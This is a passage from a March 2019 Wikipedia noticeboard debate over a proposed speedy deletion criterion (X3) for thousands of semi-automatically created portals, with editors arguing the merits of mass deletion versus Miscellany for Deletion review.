::::: List them all in an MfD, if they must all be deleted. A CSD that enables self appointed decision makes for which should go and which might be ok, is inferior to MfD. MfD can handle a list of pages. —[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 11:24, 4 March 2019 (UTC)
::::::If you want them all at MfD stop objecting to the listing of specific Portals at MfD. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 01:34, 11 March 2019 (UTC)
::::::: No. Some of the Portals I would support for deletion, and others definitely no. This makes the proposal for a CSD invalid. It fails the CSD new criterion criteria. The proposal is neither '''Objective''' or '''Uncontestable'''. It would pick up a lot of portals that should '''not''' be deleted. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 01:44, 11 March 2019 (UTC)
* '''Support'''. No care at all went into these portals, they are mindless creations with loads of errors and little actual benefit for our readers. I would also support the restoration of all pre-existing portals to the pre-transhumanist version, the new "single page" version may require less maintenance, but is way too often clearly inferior (see e.g. [https://en.wikipedia.org/w/index.php?title=Portal%3ABelgium&type=revision&diff=879620092&oldid=869200880 this], which is more like vandalism than actual improvement, and has been reversed since). [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 10:31, 4 March 2019 (UTC)
*'''Comment'''. Anyone restoring old multi-subpage portals should bear in mind that they will require maintenance. If there is no-one willing to maintain them, they, too are likely to be MfDed. No old-style portal with a willing and active maintainer has been converted as far as I know, so I suggest that anyone restoring them should be willing to maintain them. · · · [[User:Pbsouthwood|Peter Southwood]] [[User talk:Pbsouthwood|<sup>(talk)</sup>]]: 16:47, 4 March 2019 (UTC)
**No. Converting an unmaintained but well-designed portal into an unmaintained semi-automated worse portal is not the way forward. Any claims that the new portals are maintained or don't need maintaining is false, as the many problematic new portals demonstrate. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 17:00, 4 March 2019 (UTC)
**[[Portal:Germany]] was converted (more than once) although it has maintainers. To make sure your portal isn't "improved", you need to put a specific template on the page, which isn't very obvious. There are old-style multi page portals that require only minimal maintenance, and where the conversion removed specific features. All those should be reverted, also to protect the subpages from overzealous deleters (the worst is deleting the /box-footer subpages; this breaks all old revisions by removing a necessary closing div). —'''[[User:Kusma|Kusma]]''' ([[User talk:Kusma|t]]·[[Special:Contributions/Kusma|c]]) 17:21, 4 March 2019 (UTC)
*'''Oppose''' A mass-deletion of the new generation portals. Listing them at MfD will be sufficient for any that do not meet the criteria laid out in the [[WP:PORTG|portal guidelines]] (which are still [[WT:PORTG|under discussion]]). It makes little sense to remove the whole batch because some of them are problematic. They would need to be properly triaged to ensure the good ones are not caught in the process. <small>I would of course, help with said triage. We're not trying to create more work for the community, just preserve good content.</small> — AfroThundr <sup>([[User:AfroThundr3007730|u]] · [[User talk:AfroThundr3007730|t]] · [[Special:Contributions/AfroThundr3007730|c]])</sup> 23:47, 4 March 2019 (UTC)
*'''Comment''' - You created more work for the community by creating thousands of portals, some of which do not work, and with no intention to maintain them. I see no evidence that this effort created good content that needs to be preserved. [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 04:17, 5 March 2019 (UTC)
:There is no new content in the automated portals, it's all poorly repackaged bits of existing content. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 04:40, 5 March 2019 (UTC)
::All portals, old or new, good or bad, manual or automated, repackage existing content. That's their job. New content belongs in articles. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 11:20, 5 March 2019 (UTC)
*'''Strong oppose''' per wumbolo below: [[WP:CSD#P2|criterion P2]] already covers a number of these, the rest should be discussed. I still stand by my original comment which follows this addition. [[User:Wugapodes|Wugapodes]] [[User talk:Wugapodes|[t<sup>h</sup>ɑk]]] [[Special:Contributions/Wugapodes|[ˈkan.ˌʧɹɪbz]]] 22:37, 13 March 2019 (UTC) Original comment: Weak oppose on principle. CSD is a [[WP:IAR|necessary evil]], and I don't think we should be hasty to add another criterion that skips our usual consensus process. I'm fine with nuking these portals and not opposed to deleting them, any diamonds in the rough will prove their worth by being created again, but I would prefer one big MfD with the rationale "created by The Transhumanist" which allows proper determination of consensus and gives those who want to spend their time triaging a chance to do so. [[User:Wugapodes|Wugapodes]] [[User talk:Wugapodes|[t<sup>h</sup>ɑk]]] [[Special:Contributions/Wugapodes|[ˈkan.ˌʧɹɪbz]]] 08:03, 5 March 2019 (UTC)
::Building multipage MfDs like [[Wikipedia:Miscellany for deletion/Portals for Portland, Oregon neighborhoods]] is time consuming and tedious. A temporary CSD is rhe way to go. Consensus against this mess of new portals has already been established at VP, AN and in the test MfDs. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 17:20, 5 March 2019 (UTC)
*'''Support''' due to the massive amount of time it would take to put the ~4500 portals through MfD. MfD has been swamped with portal deletion requests from some time ago, and I can't see all this stuff removed via MfD in the foreseeable future (as someone said earlier, there is still a lot of Outlines left over from one of TTH's previous projects, so who knows how long it would take for MfD to delete all of this). This CSD X3 would streamline the process, and it would probably only take a few days to a week. It would help, as also mentioned earlier, to extend the criterion to the other users involved in the mass creation of these portals. [[User:Rlin8|Rlin8]] ([[User talk:Rlin8|☎]]·[[Special:Contributions/Rlin8|✎]]·[[Special:EmailUser/Rlin8|📧]]) 03:31, 6 March 2019 (UTC)
** MfD has never had an issue to nominations of list of pages. 4500 separate MfD nominations would be absurd, but a list would be OK. If each is new, and has a single author, notifications of the author will be trivial. A CSD proposal shortcuts a discussion of the merits of the new portals, and pre-supposes deletion to be necessary, contrary to [[WP:ATD|deletion policy]]. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 04:01, 6 March 2019 (UTC)
::TTH demands we place notification on every portal. We can skip notifying him, but building even 20 page MfD's is very time consuming. How do you propose to discuss 4500 or even 100 assorted portals at a time? These took 3 min to make - but far more than 3 min to list, tag, discuss and vote, then delete - when you add up all the time required from various editors and Admins. The test MfDs are sufficent and the very strong opposition to this automated portal project justifies this temporary CSD. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 04:16, 6 March 2019 (UTC)
::: "TTH demands we place notification on every portal"? [[User:Legacypac|Legacypac]], I have missed that post by him. If he did that, it needs to be repudiated. If these are new pages, and he is the only author, it is sufficient to notify him once. If all 4500 are essentially variations on the same thing, as long as the full set is defined, and browsable, we can discuss them all together at MfD. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 05:34, 6 March 2019 (UTC)
::::[[User:SmokeyJoe]] during the Portland Oregon neighborhood MFD I specifically said I was not tagging all the related portals but he insisted I tag here [https://en.wikipedia.org/w/index.php?title=Wikipedia:Miscellany_for_deletion/Portals_for_Portland,_Oregon_neighborhoods&diff=next&oldid=885760666] I could not get support in the section above to relax the MfD tagging because others wanted this CSD. During the Delete Portals RFC TTH went all out insisting every portal including the community portal be tagged for deletion - then he did it himself. That brought in all kinds of casual infrequent editors who were mostly against deleting the community portal. (Even though that was Pretty much pulled out of consideration for deletion before the tagging project). That massive tagging derailed the deletion RFC. By making cleanup as hard as possible TTH is making a lot of people want to nuke everything. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 06:11, 6 March 2019 (UTC)
::::: Legacypac's analysis is erroneous and misleading. The [[WP:ENDPORTALS]] RFC was a deletion discussion, and posting a notice on each page up for deletion is required by deletion policy. Note that the Community Portal was only mentioned twice. A portal that was the basis for about 50 oppose votes was the Current Events portal. Neither the Community Portal nor the Current Events portal were exempted in the proposal at any time. If you didn't count those, that left the count at about 150 in support of eliminating portals to about 250 against. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 07:25, 6 March 2019 (UTC)
:::: {{ping|SmokeyJoe}} (edit conflict) See the top of this section for the referred to statement, which is not exactly as he quoted. A notice posted at the top of the portals slated by this proposal would be appropriate. Legacypac has been posting notice for his multi-page nominations using the {{tl|mfd}} template, which auto-generates a link to an mfd page of the same title as the page the template is posted on. Rather than following the template's instructions for multiple pages, he's been creating an MfD page for each, and redirecting them to the combined mfd. Then a bot automatically notifies the creator of each page (me), swamping my user talk page with redundant notifications. Thus, Legacypac believes he'll have to create thousands of mfd redirect pages, and that I somehow want 3500+ notifications on my talk page. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 07:10, 6 March 2019 (UTC)
::::::You want us to manually tag pages for deletion that you used an automated script to create? You flooded Wikipedia with useless pages in violation of [[WP:MEATBOT]] but you are worried about having to clean up your talkpage notices? Just create an archiving system for your talkpage like we did for [[User:Neelix]]'s talkpage. If you don't want notices you could start tagging pages that fail your own guidelines with "delete by author request" instead of commenting on how we will do the cleanup. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 08:37, 6 March 2019 (UTC)
:::::::TTH, if you don't want so many deletion notices on your talk page, then remember in future not to create thousands of spam pages. Please help with the cleanup, rather than complaining about it.
:::::::@[[User:Legacypac|Legacypac]]: good work MFDing the spam, but it does seem that you are using a somewhat inefficient approach to tagging. Have you tried asking at WP:BOTREQ for help? In the right hands, tools such as AWB make fast work of XfD tagging. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 12:21, 15 March 2019 (UTC)
*'''Support''' whatever course of action that will result in every portal created in this manner being deleted with the minimal of time and effort required. TTH has set up his automated tool, created a massive mess, and left it unattended for others to sort out. It should take less time to clean up this mess than it did to make it, not more. Nuke the lot and if there is anything of value lost then TTH can manually request pages to be restored one at a time at DRV. <u style="text-decoration:none;font:1.1em/1em Arial Black;letter-spacing:-0.09em">[[User:Fish and karate|<u style="text-decoration:none;color:#38a">Fish</u>]]+[[User_talk:Fish and karate|<u style="text-decoration:none;color:#B44">Karate</u>]]</u> 11:19, 6 March 2019 (UTC)
*'''Support''' per Fish and karate. [[User:RGloucester|<span style="font-family:Monotype Corsiva;font-size:12pt;color:#000000">RGloucester </span>]] — [[User talk:RGloucester|☎]] 14:20, 6 March 2019 (UTC)
*'''Strong oppose''' as written. I could support something that explicitly excluded portals which are in use and/or are being developed, but the current proposal to indiscriminately delete everything, including active portals, unless the admin chooses to notify any editors and the ones notified happen to be online in a narrow time frame is significantly overly broad. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 01:54, 7 March 2019 (UTC)
*'''Support''' Not that portals are that bad, but I don't think we need portals on smaller subjects. ([[Portal:Spaghetti]] when we already have [[Portal:Pasta]]? [[Portal:Nick Jr.]], anyone?) Some might be worth keeping, but a lot are unneeded and unmaintainable. At least it's not a {{u|Neelix}} case. [[User:SemiHypercube|<b style="color:#090">Semi</b>]][[User talk:SemiHypercube|<i style="color:#099">Hyper</i>]][[Special:Contributions/SemiHypercube|<u style="color:#009">cube</u>]] 16:57, 8 March 2019 (UTC)
**{{replyto|SemiHypercube}} "Some might be worth keeping" is actually an argument against this proposal. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 12:08, 11 March 2019 (UTC)
***{{re|Thryduulf}} Kind of, but that might be a reason not to just mass delete all at once. In the Neelix case there ''were'' some redirects that were actually useful, so a separate CSD criterion was used to keep some redirects at the admins' discretion, so this might be a similar case (before you say that contradicts my "it's not a Neelix case" statement, I meant that in terms of what the redirects were about) [[User:SemiHypercube|<b style="color:#090">Semi</b>]][[User talk:SemiHypercube|<i style="color:#099">Hyper</i>]][[Special:Contributions/SemiHypercube|<u style="color:#009">cube</u>]] 12:23, 11 March 2019 (UTC)
***It violates points 1 and 2 of the requirements for CSD criteria: objectivity and unconestability. Unless ''all'' the portals covered should be speedily deleted then ''none'' of them should be. If you only want to delete some of them then you should be opposing this criterion (just like you should have opposed the subjective Neelix criterion). [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 12:34, 11 March 2019 (UTC)
<s>*'''Support''' Only realistic way to deal with these. [[User:Johnbod|Johnbod]] ([[User talk:Johnbod|talk]]) 01:57, 11 March 2019 (UTC)</s> <small>Duplicate !vote struck. [[User:GoldenRing|GoldenRing]] ([[User talk:GoldenRing|talk]]) 10:16, 4 April 2019 (UTC)</small>
*'''Request the posting of a notice at the top of each of the pages being nominated here for mass deletion, as required by the Deletion Policy.''' This proposal is currently a gross violation of the deletion policy because it is a discussion to delete 3500+ pages, that have been created over the span of a year, that are presently being viewed hundreds of thousands of times per month (projected to millions of times over the coming year) by readers of Wikipedia. The proposal for mass deletion has been made without the required notice being posted at the top of the pages to be deleted. This is being decided by a handful of editors unbeknownst to the wider community, namely, the readership of the portals to be deleted. It may be that those reading such notices would decide that the portals should be deleted, but the point here is that you are denying them the opportunity to participate in the deletion discussion as required by the deletion policy. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 21:12, 11 March 2019 (UTC)
::Request you stop wasting people's fucking time. [[User:Only in death|Only in death does duty end]] ([[User talk:Only in death|talk]]) 21:41, 11 March 2019 (UTC)
* He switched back to Outlines [[Special:Contributions/The_Transhumanist]] which are another unpopular plague for Wikipedia. The assertion that hundreds of thousands of readers a month are looking at his 3500 portals is fanciful at best and not supported by readership stats. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 21:58, 11 March 2019 (UTC)
:::'''Support opposing anything TTH says from now on'''. Per [[User:Only in death|OiD]]. [[User:Serial Number 54129|<span style="color:black">'''——'''</span>]][[Special:Contributions/Serial Number 54129|<span style="color:black">''SerialNumber''</span>]][[User talk:Serial Number 54129|<span style="color:#8B0000">54129</span>]] 13:30, 12 March 2019 (UTC)
::::'''Strong oppose taking ad hominem arguments into consideration'''. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 13:49, 12 March 2019 (UTC)
:::::'''Oppose [[WP:BLUDGEON]]ING'''. [[User:Serial Number 54129|<span style="color:black">'''——'''</span>]][[Special:Contributions/Serial Number 54129|<span style="color:black">''SerialNumber''</span>]][[User talk:Serial Number 54129|<span style="color:#8B0000">54129</span>]] 15:48, 18 March 2019 (UTC)
:*@[[User:Legacypac|Legacypac]], {{em|technically}} he's probably telling the truth. Even obvious drivel like [[Portal:Coconuts]] [https://tools.wmflabs.org/pageviews/?project=en.wikipedia.org&platform=all-access&agent=user&range=latest-60&pages=Portal:Coconuts averages around five views per day], thanks to webcrawlers and people who have the articles watchlisted and are wondering "what's this mystery link that's just been spammed onto the article I wrote?"; multiply that by 3500 and you have 500,000 pageviews per month right there. ‑ [[User:Iridescent|Iridescent]] 22:52, 11 March 2019 (UTC)
*'''Comment''' Neelix created about 50,000 redirects, which were reviewed by the community. The number of portals is an order of magnitude smaller. If X3 is to be introduced, it should involve a similar review process. We should certainly delete portals which have too narrow a scope or are of poor quality and cannot be improved. However, systematic deletion of all portals which qualify for consideration, purely on an ''[[WP:ad hominem|ad hominem]]'' argument, would be as wrong as semi-automatic creation. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 10:51, 12 March 2019 (UTC)
::Absolutely not. Look at the rate these were created [https://en.wikipedia.org/w/index.php?limit=5000&title=Special%3AContributions&contribs=user&target=The+Transhumanist&namespace=100&tagfilter=&newOnly=1&start=&end=] sometimes several dozen an hour, and sometimes an average of 12 seconds each. If so little thought went into creation, why make deletion so difficult? The Neelix cleanup took far too long (I was a big part of it) and we deleted the vast majority of those redirects anyway the extra I can edit this! hard way. As far as I could see the editors who insisted we review everything did none of the reviewing. Also, these were created in violation of [[WP:MEATBOT]] which is a blockable or at least sanctionable offense [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 11:04, 12 March 2019 (UTC)
:::Two wrongs do not make a right - it is much more important that we get the cleanup right than it happens quickly. Whether or not TTH is blocked or otherwise sanctioned is completely irrelevant. While many (maybe even most) of the created portals should be deleted not all of them should be, and this needs human review: see requirement 2 for new CSD criteria at the top of [[WT:CSD]]. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 12:07, 12 March 2019 (UTC)
::: {{ping|Thryduulf|Certes|SmokeyJoe|Legacypac}} Concerning the rate, Legacypac's observation is not accurate. What the edits he is citing do not show, is the method by which the pages were created: they were created in batches, in tabs. Before saving, all the pages/tabs were inspected. For the pages that did not pass muster, such as those that displayed errors (this did not catch all errors, because lua errors can be intermittent or turn up later due to an edit in source material being transcluded), the tabs for those were closed. In a batch of 50, 20 or 30 might survive the cull (though batch sizes varied). Some tabs got additional edits in addition to inspection, to fix errors or remove the sections the errors were in, or further development. After all the tabs in a batch were inspected and the bad ones culled, the remaining ones were saved. That's why the edits' time stamps are so close together. If you look more closely, you'll see the time gap is between the batches rather than the individual page saves. Therefore, [[WP:MEATBOT]] was not violated. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 18:55, 12 March 2019 (UTC)
::::He claims [https://en.wikipedia.org/w/index.php?title=User_talk:Legacypac&diff=prev&oldid=885294281] he created 500 portals in 500 to 1000 minutes. and is using a script [[Wikipedia:Miscellany_for_deletion#User:The_Transhumanist/QuickPortal.js]] If this is not MEATBOT we should refind MEATBOT as meaningless. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 19:07, 12 March 2019 (UTC)
::::: A minute or two per portal of the new design sounds about right. Note that the script doesn't save pages. It puts them into preview mode, so that the editor can review them and work on them further before clicking on save. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 19:39, 12 March 2019 (UTC)
::::: {{replyto|Legacypac|The Transhumanist}} As I said above, the method of creation is irrelevant to this proposal, as is what (if any) sanction is appropriate. Likewise discussions of [[WP:MEATBOT]] don't affect this at all. What matters is only that these pages exist but some of them should not, this proposal needs to be rejected or modified such that it deletes only those that need deleting without also deleting those that do not. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 20:42, 12 March 2019 (UTC)
*'''Procedural note''' I have advertised this discussion at [[WP:VPP]] and would encourage others to add links where they think interested editors might see. I think this should remain open for 30 days, as it is quite a significant policy change. [[User:GoldenRing|GoldenRing]] ([[User talk:GoldenRing|talk]]) 09:24, 13 March 2019 (UTC)
*'''Support''' now that the MfDs ([[Wikipedia:Miscellany for deletion/Portal:Urinary system|here]], [[Wikipedia:Miscellany for deletion/Portal:Intermodal containers|here]], [[Wikipedia:Miscellany for deletion/Portal:You Am I|here]], [[Wikipedia:Miscellany for deletion/Portal:Spaghetti|here]], [[Wikipedia:Miscellany for deletion/Portal:Aleksandr Solzhenitsyn|here]], [[Wikipedia:Miscellany for deletion/Portal:Agoura Hills, California|here]], [[Wikipedia:Miscellany for deletion/Portal:English language|here]], [[Wikipedia:Miscellany for deletion/Portal:Prostitution in Canada|here]], [[Wikipedia:Miscellany for deletion/Portal:Cotingas|here]], [[Wikipedia:Miscellany for deletion/Portal:Burger King|here]] and [[Wikipedia:Miscellany for deletion/Portal:E (mathematical constant)|here]]) are closing with strong consensus around delete, it is clear this is the fastest path to improving the encyclopedia (which is what we are here for, remember?) Any argument that 3,500 more portals have to go through MfD is strictly throwing sand in the gears. It is going to be enough manual labor pulling the links to the deleted portals from all the templates and pages they have been added to. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 15:15, 13 March 2019 (UTC)
**That shows that ''a'' speedy deletion criterion is possibly warranted for some, but several comments on those discussions - including your own at [[Wikipedia:Miscellany for deletion/Portal:Spaghetti]] - indicate that ''this'' proposed criterion is too broad. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 15:33, 13 March 2019 (UTC)
***You misunderstand my comment at that MfD: I strongly support that portal's deletion and all the others that would be covered by this proposed criterion. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 15:37, 13 March 2019 (UTC)
****You supported the deletion of Portal:Spaghetti because the topic was covered by Portal:Pasta, even though Portal:Pasta would be deleted under this criterion? That's rather disingenuous at best and very significantly and unnecessary disruptive at worst. [[Portal:Pasta]] is an example of a portal that should not be deleted without discussion. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 16:00, 13 March 2019 (UTC)
*****Again, you misunderstand my reasoning: I was specifically pointing out to another editor that the existence of [[Portal:Pasta]] could NOT be a reason to delete [[Portal:Spaghetti]], since in my opinion [[Portal:Pasta]] would likely also be deleted. Instead, I think the current [[Wikipedia:Portal/Guidelines]] provide ample OTHER reasons for deleting both portals (and many, many others, of course). Hope that clarifies. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 17:55, 13 March 2019 (UTC)
*'''Strong oppose and keep all'''. [[WP:P2]] covers unnecessary portals, and there is no rationale presented other than [[WP:IDLI]] to delete a large proportion of all of them, which were all kept after a RfC in 2018. The next time content policies are created at AN by the cabal of admins, I am retiring from Wikipedia. <span style="background-color:#cee">[[User:Wumbolo|<span style="color:#066;font-family:Symbol">w</span><span style="color:#066;font-family:Segoe Script">umbolo</span>]]</span> [[User talk:Wumbolo|<span style="color:#37C;font-family:webdings">^^^</span>]] 16:40, 13 March 2019 (UTC)
*:{{ping|Wumbolo}} Well, if it came to that, take it to [[WP:RFARB]] first. Given the past history of [[WP:FAITACCOMPLI]] and [[WP:LOCALCONSENSUS]] extremism (i.e., [[WP:FALSECONSENSUS]]) cases, I have little doubt that ArbCom would agree to take a case about a gaggle of anti-portal people [[WP:GAMING]] the consensus-formation process by inventing sweeping policy changes out of their butts in a venue few content editors pay attention to and which is clearly out-of-scope for such a decision, even if it somehow had sufficiently broad input (e.g., via [[WP:CENT]]). I'm skeptical any alleged consensus is going to come out of this discussion, anyway. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 17:33, 14 March 2019 (UTC)
*'''Support''' This is a repeat of the Neelix situation. ―[[User:Susmuffin|<span style="color:#8B008B;">'''''Susmuffin'''''</span>]] [[User talk:Susmuffin|<sup><span style="color:#8B008B;">'''''Talk'''''</span></sup>]] 00:01, 14 March 2019 (UTC)
**{{replyto|Susmuffin}} The situation has similarities, but the proposed criterion is not comparable. Criterion X1 applied only to redirects created by Neelix that the reviewing administrator reasonably believed would be snow deleted if discussed at RfD (i.e. they had to evaluate each redirect), this criterion would apply to every portal created by TTH in the timeframe without any other conditions and without the need for anyone to even look at anything other than the date of creation. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 00:13, 14 March 2019 (UTC)
***Honestly, there are far too many portals to be deleted through the usual channels. However, an quick evaluation would be reasonable, provided we keep the portal system itself. ―[[User:Susmuffin|<span style="color:#8B008B;">'''''Susmuffin'''''</span>]] [[User talk:Susmuffin|<sup><span style="color:#8B008B;">'''''Talk'''''</span></sup>]] 00:24, 14 March 2019 (UTC)
::::Unlike Neelix who created some reasonable redirects along the way, these autogenerated portals are of uniformly low quality. The community has looked at representive samples across a variety of subject areas at MFD and the community has already deleted 143 of the 143 portals nominated at closed MfDs. The yet to be closed MfDs are headed to increasing that number. No one has suggested any alternative deletion criteria for X3. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 00:45, 14 March 2019 (UTC)
:::::That nobody has suggested an alternative is irrelevant - it's not up to those who oppose this proposal to fix it, and those who support it are by-and-large ignoring the objections. The MfDs have been selected as a representative sample of those that, after review, are not worth keeping and have been reviewed by MfD participants. This does not demonstrate that deletion without review is appropriate - indeed quite the opposite. Remember there is no deadline, it is significantly more important that we get it right than we do things quickly. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 09:59, 14 March 2019 (UTC)
::::::Not particularly similar to the redirect situation that occurred; portals are vastly different in nature and composition from simple redirects. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 03:16, 26 March 2019 (UTC)
* '''Oppose''' as unwarranted and dangerous (and circular reasoning). First, we do not modify CSD without a strong community (not admins' star chamber) consensus that an entire class of material is not just categorically unwanted but so unwanted that it should be deleted on sight without any further consideration. It's our most dangerous policy, and a change like this to it should be an RfC matter at [[WP:VPPOL]]. In theory, it could be at [[WT:CSD]], except there is not yet any establishment of a consensus against these portals, and VPPOL is where that would get hashed out, since it's a project-wide question of content presentation and navigation (and maintenance, and whether tools can permissibly substitute for some manual maintenance, and ...). The cart is ahead of the horse here; we can't have a speedy deletion criterion without already having a deletion criterion to begin with. I strongly agree with SmokeyJoe: {{tq|"{{em|Oppose}} any and all notions of creating new CSD criteria at any drama board. Discussions here are too rushed, too emotive, too reactionary."}} <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 17:05, 14 March 2019 (UTC)
*'''Oppose''' – [[WP:P2]] covers problematic portals just fine. A concerning issue here is that some users herein appear to simply not like portals in general, and so there are several arguments above for mass deletion as per this "I don't like it" rationale. Mass deletion should be a last step, not a first step, and portals should be considered on a case-by-case basis. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 22:22, 14 March 2019 (UTC)
::You created some with the same tools. One or two of your creations are now at MfD which is why you are now engaging against this solution. We will consider each of your creations at MfD. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 02:34, 15 March 2019 (UTC)
:::My !vote here is based upon my view of the matter at hand, and as such, it stands. Period. Regarding my portal creations, so what? You come across as having a penchant for scolding content creators on Wikipedia if you don't like the medium that is used. Please consider refraining from doing so, as it is unnecessary, and patronizing. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 01:12, 16 March 2019 (UTC)
*:{{reply to|Northamerica1000}} I agree - for example, I actually welcome the creation of [[Portal:Economics]] because I think econ should be established as distinct from business as in [[Portal:Business and economics]]. <span style="white-space: nowrap;">[[User:Qzekrom|Qzekrom]] [[User talk:Qzekrom|💬]] <sup>they</sup><sub>them</sub></span> 02:20, 18 March 2019 (UTC)
*'''Oppose''' - this CSD seems have to no more objective criteria than "shoot unless someone defends it". For this to be justified, they'd have to explain how no-one reacting within 24 hours was sufficient reasoning. As far as the initial proposal included, it didn't contain any acceptable objective criteria for something warranting deletion on quality grounds. '''Far worse''', it didn't contain suitable justification (whether popularity/quality) for these portals to impose such a major hindrance to Wikipedia as to warrant a process with as few eyes (per consideration) as CSD. The nominator might have had more luck with a PortalPROD mechanism. [[User:Nosebagbear|Nosebagbear]] ([[User talk:Nosebagbear|talk]]) 23:09, 14 March 2019 (UTC)
::This CSD exactly meets each criteria for CSD's at the [[WP:CSD]] page. It is clear. It is easy to decide if the page meets the CSD. We ran 145 of these portals through MfD already and none survived. Numerous editors suggested this CSD in the Village Pump discussion. These mass created portals universally have the same flaws. Therefore this oppose rational is flawed. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 02:34, 15 March 2019 (UTC)
*'''Support''': will allow to quickly manage the auto-created portals of zero utility. --[[User:K.e.coffman|K.e.coffman]] ([[User talk:K.e.coffman|talk]]) 02:23, 15 March 2019 (UTC)
*'''Support enthusiastically'''. Taking all these portals through MFD would be a massive drain on community resources. [https://en.wikipedia.org/w/index.php?title=Special:Contributions&dir=prev&offset=20180912064801&limit=500&contribs=user&target=The+Transhumanist&namespace=100&tagfilter=&newOnly=1&start=&end= TTH created these portals at sustained speeds of up to 40 per hour], so even the time taken to apply a CSD tag and assess it 24 hours later will require more editorial time than TTH took to create them. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 07:23, 15 March 2019 (UTC)
*'''Strong oppose''' - There are good quality portals that will be excluded, few maybe, but deserve to remain. For example [[Portal: Cities]], <s>[[Portal: Architecture]]</s> [[Portal:Sculpture]].[[User:Guilherme Burn|Guilherme Burn]] ([[User talk:Guilherme Burn|talk]]) 11:40, 15 March 2019 (UTC)
**@[[User:Guilherme Burn|Guilherme Burn]], maybe those are worth keeping. Or maybe not. But even if they are good, they are not worth the price of the community committing huge amounts of time to individually debating every one of the thousands of useless portals which members of the portal project have spewed out over the last year (often as drive by creations, and which project members have then piled into MFDs to keep.
::If the Portals Project had exercised discretion so far, then we would be in a very different place. But it's utterly outraegous to ask the community to devote more time to assessing this spam than the Portal Project put into creating them. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 12:10, 15 March 2019 (UTC)
:::Could these portals be marked to be spared?[[User:Guilherme Burn|Guilherme Burn]] ([[User talk:Guilherme Burn|talk]]) 13:03, 15 March 2019 (UTC)
::::{{replyto|Guilherme Burn}} not according to the proposal as written. The only chance of saving is if an admin chooses to notify and wait 24 hours ''and'' somebody objects within those 24 hours ''and'' someone spots that CSD has been declined previously if it gets renominated. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 14:01, 15 March 2019 (UTC)
